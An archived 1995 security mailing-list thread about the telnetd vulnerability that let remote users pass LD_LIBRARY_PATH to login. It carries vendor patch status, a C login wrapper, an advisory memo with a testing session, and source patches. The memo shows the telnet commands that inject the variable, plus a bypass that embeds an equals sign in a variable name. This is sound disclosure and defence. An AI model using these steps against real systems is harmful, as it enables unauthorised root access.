ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.diff.gz Red Hat Linux (From Erik Troan ): Vulnerable. A fix is now available at: ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm It will also be fixed in the upcoming Red Hat 2.1 release. Slackware Linux (Alan Cox ): The telnetd distributed with Slackware Linux appears to be vulnerable, although it has not been verified. MIT-distributed Athena telnet/telnet95 -------------------------------------- Vulnerable. Patches available in: ftp://aeneas.mit.edu/pub/kerberos/telnet-patch/ beta4-3.patch is the patch versus the Beta 4 patchlevel 3 distribution of Kerberos v5. beta5.patch is the patch versus the Beta 5 distribution of Kerberos V5. Both patches have been PGP signed by Ted Ts'o using detached signatures (beta4-3.patch.sig and beta5.patch.sig). NetBSD ------ NetBSD 1.0 (the last official release) is vulnerable; NetBSD 1.1 (due out in mid-November) will not be. NetBSD-current is not vulnerable, as of a week or so ago. Patches: A source form patch has been developed. A core team member will have to make source and binary patches available and provide a location for it. The login-wrapper given in the advisory can be compiled with NetBSD with: cc -o login-wrapper login-wrapper.c NEC Corporation --------------- Some NEC systems are vulnerable. Here is their vulnerability matrix: OS Version Status ------------------ ------------ ------------------------------------- EWS-UX/V(Rel4.0) R1.x - R6.x not vulnerable EWS-UX/V(Rel4.2) R7.x - R10.x not vulnerable EWS-UX/V(Rel4.2MP) R10.x vulnerable patch available by the end of Nov, 1995 UP-UX/V R2.x - R4.x not vulnerable UP-UX/V(Rel4.2MP) R5.x - R7.x vulnerable patch available by the end of Nov, 1995 UX/4800 R11.x vulnerable patch available by the end of Nov, 1995 -------------------------------------------------------------------------- Contacts for further information: E-mail:[email protected] Open Software Foundation ------------------------ OSF/1 version 1.3 is not vulnerable. OpenVision ---------- This is from: Barry Jaspan : OpenVision has a patch for the telnetd in OpenV*Secure 1.2 and will contact its customers directly. SCO --- Not believed to be vulnerable. Silicon Graphics ---------------- IRIX 5.2, 5.3, 6.0.1, and 6.1 are vulnerable. SGI acknowledges the telnetd vulnerability reported by MIT and is currently investigating. No further information is available at this time. As further information becomes available, additional advisories will be issued. SGI Security Information/Contacts: For obtaining security information, patches or assistance, please contact your SGI support provider. If there are questions about this document, email can be sent to [email protected] . For reporting *NEW* SGI security issues, email can be sent to [email protected]. Sony Corporation ---------------- Sony's NEWS-OS 6.x is not vulnerable. .............................................................................. Appendix B: login-wrapper Workaround The login-wrapper program shown below is meant to be executed just before the distributed login program. The wrapper cleans specific variables from the environment before invoking the distributed login program. ------------------------cut here--8<------------------------ /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } ------------------------cut here--8<------------------------ The following two examples show how to compile the login-wrapper for SGI's IRIX 5.3 and FreeBSD 2.x systems. The examples move the distributed login program to a new location and install the wrapper in the standard location. When executed, the wrapper first cleanses the environment and then calls the relocated, distributed login program. Note 1: The wrapper must be compiled statically. On SGI's IRIX system, compiling statically requires that the non-shared versions of libraries be installed. Consult your system documentation to determine how to do this. Note 2: You may need to change the _PATH_LOGIN variable to define where the real login program resides on your system. On some systems, login resides in /usr/bin/login. Compiling for IRIX 5.3 ---------------------- # uname -a IRIX test 5.3 11091812 IP22 mips # /bin/ls -lL /bin/login -rwsr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login # /bin/cc -non_shared -O login-wrapper.c -o login-wrapper # /bin/mv /bin/login /bin/login.real # /bin/chmod 755 /bin/login.real # /bin/mv login-wrapper /bin/login # /bin/chmod 4755 /bin/login # /bin/chown root /bin/login # /bin/chgrp sys /bin/login # /bin/ls -lL /bin/login /bin/login.real -rwxr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login.real -rwsr-xr-x 1 root sys 213568 Oct 30 08:42 /bin/login Compiling for FreeBSD 2.x ------------------------- # /bin/ls -lg /usr/bin/login -r-sr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login # /usr/bin/cc -D_PATH_LOGIN=\"/usr/bin/login.real\" -static \ -O login-wrapper.c -o login-wrapper # /bin/mv /usr/bin/login /usr/bin/login.real # /bin/chmod 555 /usr/bin/login.real # /bin/mv login-wrapper /usr/bin/login # /bin/chmod 4555 /usr/bin/login # /usr/sbin/chown root.bin /usr/bin/login # /bin/ls -lg /usr/bin/login /usr/bin/login.real -r-sr-xr-x 1 root bin 24885 Oct 25 22:14 /usr/bin/login -r-xr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login.real From [email protected] Sun Nov 5 16:02:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06177; Sun, 5 Nov 1995 15:42:02 -0500 Received: from TNET.portage.net (TNET.portage.net [204.112.250.36]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA22691; Thu, 2 Nov 1995 03:13:54 -0500 Received: from TNET (localhost [127.0.0.1]) by TNET.portage.net (8.6.12/8.6.9) with SMTP id CAA03418 for ; Thu, 2 Nov 1995 02:13:43 -0600 Message-Id: <[email protected]> Date: Thu, 02 Nov 95 02:13:47 -0600 From: Chad C Giffin Organization: TNET Information Systems X-Mailer: Mozilla 1.1N (X11; I; Linux 1.3.31 i486) MIME-Version: 1.0 To: [email protected] Subject: NEW security hole in in.telnetd X-URL: file:/home/irc/telnet-bug Content-Type: multipart/mixed; boundary="-------------------------------19471490271877007441146457342" Sender: [email protected] Precedence: list This is a multi-part message in MIME format. ---------------------------------19471490271877007441146457342 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii The following describes a bug in telnetd You may have heard of it already. Chad Giffin TNET Systems CANADA ---------------------------------19471490271877007441146457342 Content-Transfer-Encoding: 7bit Content-Type: text/plain >From [email protected] Nov 2 01:50:27 1995 Date: Tue, 31 Oct 1995 18:57:39 -0500 From: Sam Hartman To: Multiple recipients of list BUGTRAQ Subject: Telnet vulnerability: shared libraries -----BEGIN PGP SIGNED MESSAGE----- Last Minute Update The rest of this memo assumes that CERT released an advisory today and that SGI and DEC made patches available to customers. I know that both DEC and SGI are working on this vulnerability, and have seen one preliminary patch from DEC. Apparently, something happened, and the advisory wasn't released today. I was not contacted by CERT and only confirmed that nothing had gone out after people left the CERT office, so I'm not sure exactly what happened. I have decided to release this information anyway, because it has already been widely distributed earlier today within MIT, and I know of at least one vendor who is actively contacting customers. I suggest reading the rest of this memo, then coming back to the next paragraph. The quick fix will work for DEC OSF, but not for SGIs. The CERT advisory contained a different quick fix, but I do not have permission to release that, and don't feel it would be appropriate to release without explicit permission from CERT. Basically, the CERT approach was to make a statically linked login wrapper and have telnetd call that wrapper and trim the environment. I have examples of such a program we've used within MIT that I can probably release, although we haven't debugged it. Another option is to make telnetd set-uid root, but only executable by a new group created especially for this purpose. Then, create a user with the primary group that you just made, and have telnetd run as this user by inetd. This will mean that the real UID is not root, but the effective UID is root, so the _RLD_* will be ignored. I'm not sure about the other security implications of this; I stopped thinking about SGI contingencies when I heard a patch would be released today. I suspect that the problem will be hashed out on [email protected] ([email protected] for subscriptions) fairly quickly. Also, I hope that SGI will release their patch in the next day or two. This memo contains a description of a vulnerability cause by an interaction between telnetd and shared library loaders on several versions of Unix. CERT should be issuing an advisory regarding this problem on October 31. While I have tried to keep an up to date list of available vendor patches in this memo, it is likely that the CERT advisory will contain more up-to-date vendor info. In particular, I don't have an exact URL to the FreeBSD, SGI or Digital Unix patch.This memo is intended to document the problem in MIT Kerberos and to provide additional detail that is likely not in the CERT advisory. Contents * Preface and History * Quick Fix * Environment Variables that Matter * Affected Telnetds * Telnetds that Work * Availability of Patches * Testing for Exposure * Verifying a Patch * Sample Patch * Acknowledgments Preface and History On Sunday, October 15, I discovered a bug in some versions of telnetd on some platforms that allows a user making a connection to cause login to load an alternate C library from an arbitrary location in the filesystem of the machine running telnetd. In the case of machines mounting distributed filespaces such as AFS or NFS, containing publicly writable anonymous FTP directories, or on which the user already has a non-root account, it is possible to gain root access. The problem is that telnetd will allow the client to pass LD_LIBRARY_PATH, LD_PRELOAD, and other run-time linker options into the process environment of the process that runs login. If the runtime linker honors these options for login, the attacker can cause a custom libc to be loaded. Such a libc could, for example, start a shell whenever some function like crypt() is called. If login calls this function before the setuid call, then the attacker will gain root access. Note that the user must be able to convince telnetd to run login in order for this attack to be successful. In particular, if an authentication system such as Kerberos is employed, and the telnetd requires authentication, then only users with valid accounts will be able to use this attack. Quick Fix Normally, programs that run with the set-user-ID or set-group-ID bit set do not use environment variables to pass information about where to find libraries. This is designed to prevent attacks where an intruder sets LD_LIBRARY_PATH and runs `su' or `login' from the command line. Since these are set-user-ID programs, they run as root; if they trust LD_LIBRARY_PATH, then they can load a user-supplied libc and be as insecure as telnetd. The test used by most runtime linkers to determine if LD_LIBRARY_PATH can be trusted checks to see if the effective user ID is equal to the real user ID. Since telnet is started as a root-owned process by inetd, its real user ID is root. So, even if login is set-user-ID, the test succeeds and LD_LIBRARY_PATH is trusted, creating the security problem. On many systems, if login is made set-group-ID, the test will fail because login's effective group will be different than the real group. This should only be used on a temporary basis. Unfortunately, this doesn't always work: in particular, it doesn't work for SGI Irix. (SGI has already released a patch, but other systems may exist where this also fails.) If you try this fix, you should go through the "Testing for Exposure" section. To make login set-group-ID follow these steps: 1) Create a new group (you might want to call it `__login', `__telnet', `tnbug' or something of the sort). In the rest of this document, I will assume that you have called the group `__login'. Make sure the group doesn't already exist, and make sure that no other programs are moved into this group. For information on how to create a group, consult your vendor's manuals and the man page for /etc/group. 2) Find your login program; it is often /usr/bin/login or /bin/login. I will assume here that it is /bin/login. Under AIX and some other operating systems, login may be a symlink to another program;change the group of the actual program, not of the symlink. 3) Look at the current permissions on login: bash$ ls -l /bin/login lrwxrwxrwx 1 root system 13 Mar 8 1994 /bin/login -> /usr/sbin/tsm bash$ ls -lL /bin/login -r-sr-xr-x 3 root security 59217 Aug 23 1994 /bin/login bash$ Note that because I am running on an AIX system, I gave the -L option to the second ls in order to trace through the symlink and find the real login. You should remember what group login is in so you can change things back after you get a vendor patch. 4) Change the group of login and set the set GID bit: bash$ su root's Password: bash# chgrp __login /bin/login bash# chmod g+s /bin/login bash# ls -lL /bin/login -r-sr-sr-x 3 root __login 59217 Aug 23 1994 /bin/login bash# Environment Variables that Matter This is not an exhaustive list of environment variables telnetd should filter, but it does contain several of the key variables on systems used at MIT and by people with whom I have consulted: LD_LIBRARY_PATH: At least Solaris, SunOS, NetBSD, Linux and Digital Unix use this as the path to look for shared libraries in. LD_PRELOAD: Solaris and possibly others load these object modules into the address space of the process before loading other shared libraries. LIBPATH: AIX uses this to locate its shared libraries. ELF_LD_LIBRARY_PATH: May be used by the Linux Elf loader; similar to LD_LIBRARY_PATH in function. According to the author of Linux ld.so ([email protected]), this was only used by ld.so version 2.6. This version was only used for beta Elf development, and is apparently not used by any production Linux distributions. LD_AOUT_LIBRARY_PATH: Another Linuxism from ld.so-1.7.3. Same as LD_LIBRARY_PATH but only for a.out libraries. _RLD_ROOT: Digital Unix uses this to specify a prefix prepended to library paths stored inside executables. _RLD_LIST: A list of objects dynamically loaded into an executable by Digital Unix. _RLD_*: Used by Digital Unix and SGI. There are several apparently undocumented variables in /sbin/loader on Digital Unix and in the SGI runtime linker. LD_*: Several other variables have special meaning to certain operating systems. Stripping all these variables would probably be a good idea. IFS: It is possible that setting IFS could cause damage in environments where the user logs into an account that runs a shell script instead of granting full access. Affected Telnetds All telnetds derived from the Telnet package distributed by David Borman allow the environment options to be passed. Borman has released a patch for the problem as of October 19. The patch released on October 19, while secure, has a bug that prevents any telnet environment options from being handled. Another patch was released on October 23 that appears to work; see below for details. Besides his original release, here are a list of operating systems and security packages I'm aware of that include derivatives of this work: * NetBSD and FreeBSD are distributed with a vulnerable telnetd. (See below for patch info.) * The version of telnetd maintained in the Kerberos version 5 distribution by MIT. (patch available) * The Cygnus Network Security V4 95Q1 Free Network Release includes a vulnerable telnetd. (Previous releases did not contain telnetd.) A patch has been released. * OpenVision's OV*Secure contains a telnetd that is vulnerable; a patch is available. Other Vulnerable Telnetd Implementations This problem is not unique to code derived from the Borman telnet distribution. Other vulnerable implementations are known to include: * SGI Irix 5.3 (patch available) * Digital Unix. The telnetd distributed with stock Digital Unix appears to be vulnerable. DEC confirms they are investigating. * Linux. The telnetd distributed with Slackware Linux appears to be vulnerable, although I have not verified this. The maintainers of Debian GNU/Linux confirm their telnetd is vulnerable and released a patch; see below. A patch is also available for Redhat Linux. Telnetds that Work Below is a list of operating systems which come with telnetds that we know are not vulnerable. * SunOS 4.1.4. The Sunos 4.1.4 telnetd does not support passing of environment variables, so it is not vulnerable. * IBM AIX 4.1. This telnetd does not support environment options. * BSDI's BSD/OS. While the telnetd will pass any environment option, there doesn't appear to be an option to override the shared library path, so BSD/OS is probably not vulnerable. On October 19, Dave Borman confirmed that BSDI is not vulnerable to the attack, although the telnetd will accept any environment variable. * Telnetd on other systems that do not support shared libraries. This includes DEC Ultrix, and Cray Unicos. * According to LaMont Jones , "HP-UX is not vulnerable to this attack, due to our shared library implementation." Note that both AIX and SunOS can be vulnerable if the stock telnetd is replaced. Also, note that the stock Solaris telnetd has not been tested. Availability of Patches This is a list of patches I'm aware of at this time. As you develop a patch for your product/platform, please let me know; considering free operating systems affected by this problem, widely announcing the bug once patches are available is very important. Note that these patches are provided as-is, without any guarantee of correctness or security on the part of MIT, myself, or the patch creator. They are provided in a spirit of cooperation, not as a guaranteed fix. I cannot certify the degree of testing applied to these patches. Note that CERT and CIAC plan to announce bulletins about this problem on October 31, 1995. Where this memo conflicts with the information provided in the CERT advisory, assume CERT's information is more accurate: they have better vendor contacts, and have been actively confirming patch availability for the last few days. I am including this section in order to provide users with patch locations, where possible, in the same place where they first encounter details about this problem.I am maintaining it with information I receive, but not all vendors have replied to my earlier memo, so if your favorite vendor isn't listed here, check the CERT advisory before contacting them. * On October 19, David Borman released a new version of his telnet package, containing a fix to the problem. This original patch disabled passing environment options entirely, but was revised on October 23. The revised patch, and instructions for obtaining it are contained at the bottom of this message. Note that this patch does not deal with the ELF_LD_LIBRARY_PATH, although for most Linux users, this is not a problem. The version of telnet on net-dist.mit.edu contains this patch. * Greg Hudson checked a patch into the NetBSD-current source tree. This patch will be incorporated by any NetBSD-current users who update to the current telnetd. It will be in the NetBSD 1.1 release. NetBSD developers have not indicated whether they plan on releasing a patch for NetBSD 1.0 users. Note that the sample NetBSD patch distributed with an earlier version of the memo was incomplete; the version in the source tree as of October 18 is correct. * Sam Hartman patched the upcoming release of Kerberos 5. In addition, patches were generated against Kerberos 5 beta 5 and beta 4-3. The can be found at ftp://athena-dist.mit.edu/pub/kerberos/telnet-patch/. * Mark Eichin prepared patches for CNS. These patches will be available on the Cygnus web site http://www.cygnus.com/data/cns/telnetdpatch.html; support customers are being contacted directly. * OpenVision has a patch for the telnetd in OV*Secure 1.2 and will contact its customers directly. * Peter Tobias, released a patch for Debian GNU/Linux. This patch can be found in the networking utilities at ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb. * Erik Troan confirms that Redhat Linux is vulnerable, indicating a patch can be found at ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm or ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm The fix is incorporated into the Redhat 2.1 release. * An SGI patch is available at ftp://sgigate.sgi.com/security/. * DEC confirmed they will have a preliminary patch available on October 31; they will be contacting customers and releasing patch info to CERT. * Andrey A. Chernov released a patch for FreeBSD, but did not include an URL where the patch could be obtained. * Bruce Lewis is preparing a patch for the MIT-distributed Athena telnet/telnet95. His patch is currently available within MIT. Within MIT, consult the netusers discuss meeting for more details. Testing for Exposure In order to test to see if your telnetd passes environment variables that effect shared libraries, it is important to understand what environment variables are used by your runtime linker. See the environment variables section for common examples. To be sure, you should run strings over your runtime loader. For example, the following shows the environment variables used by NetBSD: athena% strings - /usr/libexec/ld.so ld.so LD_LIBRARY_PATH LD_PRELOAD LD_NOSTD_PATH LD_SUPPRESS_WARNINGS LD_WARN_NON_PURE_CODE LD_NO_INTERN_SEARCH .init Cannot set breakpoint (%s) Cannot re-protect breakpoint (%s) LD_TRACE_LOADED_OBJECTS Naturally, this is only an excerpt of the output. Therefore, NetBSD probably honors the `LD_LIBRARY_PATH' variable. It appears to honor several other variables as well. (In fact, it honors most of the environment variables besides LD_PRELOAD, which hasn't been implemented yet.) If a system were non-standard, it might not be easy to know what was an environment variable and what was just a string in the binary. For example, the string `runpath' in the Solaris loader is not an environment variable, but a similar string `LIBPATH' in the AIX kernel is the AIX environment variable. You also have to find the dynamic loader, which isn't always easy. Look for a program called `rld', `ld.so', `loader', or some similar name. You should also check your vendor's documentation, but reading the documentation should not be a substitute for reading the binaries, for while binaries may deceive and obfuscate, they seldom lie. Now that you know what environment variables to check for, find out which telnetd your system runs. Note that the telnetd on my system is almost certainly not in the same place as yours: this session took place on a machine in the Athena environment, so it is running a custom MIT telnetd. However, the same techniques should work with `/etc/athena/telnetd' replaced with `/usr/sbin/in.telnetd' or whatever is appropriate for your system. athena% grep telnet /etc/inetd.conf telnet stream tcp nowait root /etc/athena/telnetd telnetd -a off athena% Now, check to see if it looks like it handles environment options at all (by grepping for `ENVIRON') and if it does anything special with linker environment variables. This test is *not* definitive: there are both false positives and negatives, but you can get a general idea of what to expect in later steps. athena% strings - /etc/athena/telnetd |grep ENVIRO ENVIRON VALUE and VAR are reversed! OLD-ENVIRON NEW-ENVIRON NEW-ENVIRON athena% strings - /etc/athena/telnetd |grep LD_ athena% Ok, it looks very much like I have a problem. My telnetd appears to support environment options--it even has an error message about it, but I see no mention of environment variables that should be restricted. Note that even if I saw no environment info in telnetd, I would continue with the test just to make sure. For the next step, telnet to the machine and see if it passes environment options such as LD_LIBRARY_PATH. Try to create a corrupt libc.so in /tmp by creating a zero length file of the same name; if the system is vulnerable, login will core dump when it tries to use the new libc. If this test fails, try a test using `ps -e' to see if the environment variable got set. In order to find out what library to create, I'll use the `ldd' command on the executable; you could also try looking through /lib, or under AIX, use `dump -H executable'. athena% ldd /etc/athena/telnetd /etc/athena/telnetd: -lcurses.2 => /usr/lib/libcurses.so.2.1 (0x10032000) -ltermcap.0 => /usr/lib/libtermcap.so.0.0 (0x1003d000) -lutil.3 => /usr/lib/libutil.so.3.1 (0x1003f000) -lc.12 => /usr/lib/libc.so.12.3 (0x10041000) athena% touch /tmp/libc.so.12.3 Now, we try and connect: athena% telnet ...including Athena's default telnet options: "-ax" telnet> env define LD_LIBRARY_PATH /tmp:/var/tmp telnet> env export LD_LIBRARY_PATH telnet> set options Will show option processing. telnet> open vulnerable-machine Trying 10.0.0.6... Connected to telnet-bug-exploit.MIT.EDU. Escape character is '^]'. SENT WILL LFLOW SENT WILL LINEMODE SENT WILL NEW-ENVIRON RCVD WILL SUPPRESS GO AHEAD RCVD DONT LINEMODE RCVD DO NEW-ENVIRON SENT WONT XDISPLOC RCVD DO OLD-ENVIRON SENT WONT OLD-ENVIRON SENT IAC SB TERMINAL-SPEED IS 9600,9600 RCVD IAC SB NEW-ENVIRON SEND SENT IAC SB NEW-ENVIRON IS USERVAR "LD_LIBRARY_PATH" VALUE "/tmp:/var/tmp" MIT SIPB NetBSD-Athena (xxx) (ttyp1) ld.so: login: libc.so.12.3: Undefined error: 0 Connection closed by foreign host. athena% This machine is obviously vulnerable. Now, an example of what happens if for some strange reason, login actually works, but the machine is still potentially vulnerable: (telnet session as above, but a login prompt) telnet> open vulnerable-machine Trying 10.0.0.6... Connected to telnet-bug-exploit.MIT.EDU. Escape character is '^]'. MIT SIPB NetBSD-Athena (xxx) (ttyp1) login: Now, we suspend the telnet and look at the login process that was created: athena% ps -ewwa |grep login 6997 p1 Is+ 0:00.05 LD_LIBRARY_PATH=/tmp:/var/tmp TERM=vt100 login -h somew athena% This indicates that the variable was passed, but login failed to act--possibly because you did something wrong when creating the library; your system is probably still vulnerable. If that variable was not present, but the -e flag works on your ps, and other processes displayed environment variables, your system is likely not vulnerable. Also, if neither an old-environ nor new-environ option was passed between the telnetd and telnet, you are almost certainly safe. However, passing this test should not be taken as a guarantee of complete security: you should still contact your telnet vendor unless you are sure you are safe. Verifying a Patch In the process of talking to vendors, distributing patches, and getting feedback, I've come up with a lot of `almost solutions' -- patches that are good enough to make you think they work, but that can be compromised. * A clever trick to get around exact match patches is to embed an equals sign in a variable name. For example, ask your client to send an option requesting that the variable LD_LIBRARY_PATH=/home/hartmans/exploits/sun4lib: be set to the value invalid:/lib:/usr/lib. Naturally, the call to setenv in telnetd adds another =, but that's soaked up by `invalid', and I still get to break into the system. I.E. Deal with variable names containing equals signs (=). * At least in the Borman BSD telnet, there are two calls to setenv: one for the last part of an environment option and one for the other parts. Make sure you cover both; this was the biggest problem with the sample patch I first distributed. * If it is possible to stuff a string into the environment twice with your telnetd, make sure you check all entries in the environment. For example, if you have a setenv() that doesn't check for duplicates, don't just use unsetenv() as this will remove the last item in the environment, leaving the others to be used by login. * Get all the important environment variables. Follow the instructions for testing vulnerability, and check all the potential environment variables found when you strings the loader. Considering the potential to miss variables, several people have suggested only allowing certain variables through. Borman is investigating this and several other options; unfortunately, anything less than a solution tailored to a particular vendor's operating system decreases the functionality provided by the environment option. Sample Patch Below, I include the official patch to telnet from David Borman as of October 23. Before the patch, I include a message I received on October 19; this includes useful information. As I received the message, it was not PGP-signed; its inclusion in this signed summary indicates that it has not been modified since I received it, and says nothing about the integrity of the communications link between myself and Mr. Borman. However, I have examined the patch, and it appears to be a valid fix for the bug. It also corresponds to the appropriate sections of the diff on the ftp server. Again, patches are provided as-is without a guarantee of correctness; you assume all risk for applying this patch. (As with all PGP-signed patches, you will need to remove leading dashes.) Date: Thu, 19 Oct 95 13:54:56 CDT From: [email protected] (David A. Borman) Message-Id: <[email protected]> To: [email protected] Subject: Re: telnet vulnerability giving root access Cc: [email protected], [email protected] I have placed a version of the BSD Telnet distribution at: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z with a fix for this problem. It changes telnetd to remove the LD_*, _RLD_*, IFS and LIBPATH environment variables before execing login. The version on ftp.cray.com does not contain the encryption code, that is on net-dist.mit.edu, and I have sent a new copy off to them to replace the current distribution. (The attached diffs also show a bugfix for a problem that was screwing up /etc/utmp on Solaris.) Also, BSDI is not affected, as they do not provide any way for the user to override the search path for shared libraries. UNICOS is unaffected, since we don't have shared libraries. Please feel free to pass on this message. -David Borman, [email protected] diff -cbr telnet.95.05.31/telnetd/sys_term.c telnet.95.10.23/telnetd/sys_term.c *** telnet.95.05.31/telnetd/sys_term.c Wed May 31 00:50:57 1995 - --- telnet.95.10.23/telnetd/sys_term.c Mon Oct 23 09:47:17 1995 *************** *** 32,38 **** */ #ifndef lint ! static char sccsid[] = "@(#)sys_term.c 8.4 (Berkeley) 5/30/95"; #endif /* not lint */ #include "telnetd.h" - --- 32,38 ---- */ #ifndef lint ! static char sccsid[] = "@(#)sys_term.c 8.4+1 (Berkeley) 5/30/95"; #endif /* not lint */ #include "telnetd.h" *************** *** 1570,1579 **** utmpx.ut_id[3] = SC_WILDC; utmpx.ut_type = LOGIN_PROCESS; (void) time(&utmpx.ut_tv.tv_sec); ! if (pututxline(&utmpx) == NULL) ! fatal(net, "pututxline failed"); #endif /* * -h : pass on name of host. * WARNING: -h is accepted by login if and only if - --- 1570,1581 ---- utmpx.ut_id[3] = SC_WILDC; utmpx.ut_type = LOGIN_PROCESS; (void) time(&utmpx.ut_tv.tv_sec); ! if (makeutx(&utmpx) == NULL) ! fatal(net, "makeutx failed"); #endif + scrub_env(); + /* * -h : pass on name of host. * WARNING: -h is accepted by login if and only if *************** *** 1809,1814 **** - --- 1811,1836 ---- return(argv); } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + if (strncmp(*cpp, "LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* * cleanup() Acknowledgments In preparing this bug summary, I have received the help of several people. In particular, I would like to thank David Borman for quickly fixing the problem once notified, and Bruce Lewis for supplying a timely solution to the problem within MIT. In addition, John Hawkinson provided help developing exploit scripts and confirming that the bug existed on several systems. In addition, I would like to thank vendor security contacts for being responsive and working quickly to get patches ready as soon as possible. I would also like to thank those at MIT who reviewed drafts of this announcement and suggested improvements. - --Sam Hartman, MIT Kerberos Development team -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMJa3e0JYVPVo3rXRAQGq7Qf9HJQoShE58Cwr2bd0fAlJDhGycyH8QD5Z 8eb+VacvAMPaHUBDJ0qziTkRVX3cQcWvCq2pYOU3oY4pu7LFoo1mDf/+L0IEHxW+ CnKYxseJaH1qW9CEovopACS+6AonbjmlW11p6xmIskONZNpE4IcQNctvLLR7qt7D GkbElAfFyJI5P41ssvySVr8JgWbepjFsdT+fvbT89rUDCb9ASaPIzeBW+lA40I5k MKRYq9droETIWO3vT7IzxplB4rlEdymtU3ibfr8wxsTOthMAQ0hQ2jgKoLCPIg1/ X2lX9hPHCW14t+t8/4MeO4+69FtLOt6+oISa3vRi5t6aFNpAtCdgCA== =rDwP -----END PGP SIGNATURE----- ---------------------------------19471490271877007441146457342-- From [email protected] Sun Nov 5 16:02:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06158; Sun, 5 Nov 1995 15:39:30 -0500 Received: from dfw.net ([198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA21914; Wed, 1 Nov 1995 21:10:15 -0500 Received: by dfw.net (4.1/SMI-4.1) id AA19233; Wed, 1 Nov 95 20:07:20 CST Date: Wed, 1 Nov 1995 20:07:19 -0600 (CST) From: Aleph One To: [email protected] Cc: [email protected] Subject: SSLtelnet patch Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This patch address the current CERT advisory about the telnet vulnerability. It was created under linux using SSLtelnet 0.2. Iam not sure what the latest is but here it is anyway. You need to change LD_LIBRARY_PATH to whatever is dangerous in your OS. diff -u -r SSLtelnet-0.2/telnetd/Makefile SSLtelnet-0.2-new/telnetd/Makefile --- SSLtelnet-0.2/telnetd/Makefile Tue Aug 15 16:53:25 1995 +++ SSLtelnet-0.2-new/telnetd/Makefile Wed Nov 1 16:01:32 1995 @@ -7,7 +7,7 @@ CFLAGS= -DTERMCAP -DKLUDGELINEMODE -DUSE_TERMIO -DAUTHENTICATE -DUSE_SSL \ -DDIAGNOSTICS -DFILIO_H \ -I../lib -I../lib/libbsd/include \ - -I$(SSLTOP)/include + -I$(SSLTOP)/include -O2 -m486 LIBS= ../lib/libtelnet/libtelnet.a \ ../lib/libutil/libutil.a \ diff -u -r SSLtelnet-0.2/telnetd/state.c SSLtelnet-0.2-new/telnetd/state.c --- SSLtelnet-0.2/telnetd/state.c Thu Oct 14 13:49:12 1993 +++ SSLtelnet-0.2-new/telnetd/state.c Wed Nov 1 16:56:41 1995 @@ -1257,9 +1257,27 @@ case ENV_VAR: *cp = '\0'; - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - else + } else unsetenv(varp); cp = varp = (char *)subpointer; valp = 0; @@ -1276,9 +1294,27 @@ } } *cp = '\0'; - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - else + } else unsetenv(varp); break; } /* end of case TELOPT_ENVIRON */ Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 